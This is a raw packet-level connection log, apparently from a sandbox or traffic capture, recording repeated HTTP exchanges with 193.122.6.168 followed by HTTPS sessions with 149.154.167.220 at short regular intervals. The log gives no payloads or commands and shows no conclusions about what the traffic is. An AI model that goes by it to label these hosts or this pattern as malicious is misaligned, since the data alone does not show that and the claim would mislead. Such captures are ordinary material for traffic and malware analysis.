Jan 10, 2025 23:38:52.324901104 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.324944019 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.329786062 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.329848051 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.329885960 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.330092907 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.334791899 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.334948063 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.334959030 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.334999084 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.339747906 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.339814901 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.339848042 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.340317965 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.344297886 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.344352961 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.344384909 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.344485998 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.349076033 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.349163055 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.349169016 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.349251986 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.349251986 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.353799105 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.353856087 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.353882074 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.353925943 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.358412981 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.358628035 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.358634949 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.358673096 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.362905025 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.363106012 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.363112926 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.363148928 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.367611885 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.367671013 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.367695093 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.367742062 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.372093916 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.372153997 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.372160912 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.372204065 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376086950 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.376151085 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376168966 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.376216888 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376221895 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.376272917 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376277924 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.376302004 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.376306057 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376317024 CET	443	49741	142.250.181.225	192.168.2.8
Jan 10, 2025 23:38:52.376327038 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376336098 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376352072 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.376413107 CET	49741	443	192.168.2.8	142.250.181.225
Jan 10, 2025 23:38:52.761563063 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:38:52.766331911 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:38:52.766403913 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:38:52.766634941 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:38:52.771364927 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:38:53.393935919 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:38:53.398046970 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:38:53.402901888 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:38:53.583914995 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:38:53.628247976 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:38:54.231751919 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.231802940 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.232247114 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.235348940 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.235363960 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.705437899 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.705632925 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.709654093 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.709686041 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.710050106 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.714484930 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.755330086 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.852106094 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.852170944 CET	443	49779	104.21.112.1	192.168.2.8
Jan 10, 2025 23:38:54.852389097 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:38:54.865653038 CET	49779	443	192.168.2.8	104.21.112.1
Jan 10, 2025 23:39:00.399024963 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:00.403817892 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:00.787436008 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:00.800596952 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:00.800647974 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:00.800734997 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:00.801251888 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:00.801270962 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:00.831434011 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:01.433096886 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.433255911 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:01.435688972 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:01.435709953 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.436057091 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.437820911 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:01.479327917 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.479449034 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:01.479510069 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.786715031 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.786798954 CET	443	49821	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:01.786876917 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:01.819340944 CET	49821	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:02.209644079 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:02.211687088 CET	49831	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:02.214627028 CET	80	49770	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:02.214670897 CET	49770	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:02.216494083 CET	80	49831	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:02.216564894 CET	49831	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:02.221731901 CET	49831	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:02.226560116 CET	80	49831	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:02.866861105 CET	80	49831	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:02.868272066 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:02.868329048 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:02.868494034 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:02.869107008 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:02.869127035 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:02.909553051 CET	49831	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:03.509021997 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:03.510822058 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:03.510855913 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:03.510926962 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:03.510941029 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:03.820924997 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:03.820997000 CET	443	49837	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:03.822124958 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:03.822423935 CET	49837	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:03.825607061 CET	49831	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:03.827348948 CET	49843	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:03.830558062 CET	80	49831	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:03.832160950 CET	80	49843	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:03.832237005 CET	49831	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:03.832262993 CET	49843	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:03.833195925 CET	49843	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:03.837950945 CET	80	49843	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:04.478317022 CET	80	49843	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:04.480051041 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:04.480097055 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:04.480377913 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:04.480657101 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:04.480673075 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:04.534573078 CET	49843	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:05.089831114 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:05.091310978 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:05.091336012 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:05.091639042 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:05.091646910 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:05.562736988 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:05.562823057 CET	443	49848	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:05.562871933 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:05.563293934 CET	49848	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:05.568205118 CET	49853	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:05.573051929 CET	80	49853	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:05.573138952 CET	49853	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:05.573251963 CET	49853	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:05.578075886 CET	80	49853	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:06.201462030 CET	80	49853	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:06.202713966 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:06.202755928 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:06.202824116 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:06.203341007 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:06.203355074 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:06.253283024 CET	49853	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:06.873847961 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:06.875758886 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:06.875780106 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:06.875916958 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:06.875921965 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:07.214374065 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:07.214463949 CET	443	49858	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:07.214508057 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:07.214924097 CET	49858	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:07.218913078 CET	49853	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:07.219809055 CET	49864	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:07.224153042 CET	80	49853	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:07.224231958 CET	49853	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:07.224720001 CET	80	49864	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:07.224792957 CET	49864	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:07.224889040 CET	49864	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:07.229741096 CET	80	49864	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:07.852210999 CET	80	49864	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:07.853728056 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:07.853764057 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:07.853863001 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:07.854176044 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:07.854203939 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:07.893986940 CET	49864	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:08.461323977 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:08.462840080 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:08.462855101 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:08.462902069 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:08.462910891 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:08.866503954 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:08.866606951 CET	443	49870	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:08.866673946 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:08.867372990 CET	49870	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:08.872819901 CET	49864	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:08.874720097 CET	49876	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:08.877805948 CET	80	49864	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:08.877918005 CET	49864	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:08.879512072 CET	80	49876	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:08.879597902 CET	49876	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:08.879765987 CET	49876	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:08.884540081 CET	80	49876	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:09.514672995 CET	80	49876	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:09.515824080 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:09.515872955 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:09.515995026 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:09.516388893 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:09.516407013 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:09.565794945 CET	49876	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:10.122906923 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:10.124536991 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:10.124557018 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:10.124814034 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:10.124820948 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:10.471607924 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:10.471693039 CET	443	49882	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:10.471750975 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:10.472577095 CET	49882	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:10.481726885 CET	49876	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:10.482968092 CET	49890	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:10.486875057 CET	80	49876	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:10.486949921 CET	49876	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:10.487828970 CET	80	49890	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:10.487912893 CET	49890	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:10.488059044 CET	49890	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:10.492815971 CET	80	49890	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:11.114548922 CET	80	49890	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:11.115878105 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:11.115923882 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:11.116010904 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:11.116341114 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:11.116354942 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:11.159533024 CET	49890	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:11.746968031 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:11.748699903 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:11.748723030 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:11.748779058 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:11.748784065 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:12.121522903 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:12.121608019 CET	443	49894	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:12.121680021 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:12.122112989 CET	49894	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:12.125332117 CET	49890	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:12.126610994 CET	49904	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:12.131510019 CET	80	49890	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:12.131632090 CET	49890	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:12.132345915 CET	80	49904	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:12.132448912 CET	49904	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:12.132570982 CET	49904	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:12.137698889 CET	80	49904	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:12.762007952 CET	80	49904	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:12.764650106 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:12.764667034 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:12.764719963 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:12.765026093 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:12.765036106 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:12.815922976 CET	49904	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:13.390548944 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:13.392889023 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:13.392904997 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:13.392947912 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:13.392959118 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:13.759197950 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:13.759263992 CET	443	49909	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:13.759322882 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:13.759716034 CET	49909	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:13.762651920 CET	49904	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:13.763799906 CET	49915	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:13.767992973 CET	80	49904	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:13.768049002 CET	49904	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:13.768554926 CET	80	49915	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:13.768651009 CET	49915	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:13.768699884 CET	49915	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:13.773436069 CET	80	49915	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:14.395376921 CET	80	49915	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:14.396496058 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:14.396524906 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:14.396608114 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:14.396847010 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:14.396857977 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:14.441015959 CET	49915	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:15.070070982 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:15.071732044 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:15.071741104 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:15.071818113 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:15.071821928 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:15.580033064 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:15.580159903 CET	443	49920	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:15.580262899 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:15.580928087 CET	49920	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:15.584559917 CET	49915	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:15.585275888 CET	49929	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:15.590150118 CET	80	49915	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:15.590297937 CET	49915	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:15.590814114 CET	80	49929	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:15.590893984 CET	49929	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:15.591123104 CET	49929	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:15.596456051 CET	80	49929	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:16.257596970 CET	80	49929	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:16.258817911 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:16.258846998 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:16.258913040 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:16.259126902 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:16.259139061 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:16.300199032 CET	49929	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:16.884807110 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:16.886457920 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:16.886476040 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:16.886526108 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:16.886533976 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:17.124847889 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:17.124922991 CET	443	49933	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:17.125067949 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:17.125602007 CET	49933	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:17.128837109 CET	49929	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:17.129776955 CET	49941	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:17.134555101 CET	80	49941	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:17.134653091 CET	80	49929	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:17.134656906 CET	49941	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:17.134717941 CET	49929	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:17.134722948 CET	49941	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:17.139487982 CET	80	49941	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:17.773397923 CET	80	49941	193.122.6.168	192.168.2.8
Jan 10, 2025 23:39:17.774748087 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:17.774794102 CET	443	49945	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:17.774885893 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:17.775134087 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:17.775146961 CET	443	49945	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:17.815783024 CET	49941	80	192.168.2.8	193.122.6.168
Jan 10, 2025 23:39:18.399390936 CET	443	49945	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:18.401691914 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:18.401710033 CET	443	49945	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:18.401855946 CET	49945	443	192.168.2.8	149.154.167.220
Jan 10, 2025 23:39:18.401861906 CET	443	49945	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:18.724726915 CET	443	49945	149.154.167.220	192.168.2.8
Jan 10, 2025 23:39:18.724808931 CET	443	49945	149.154.167.220	192.168.2.8
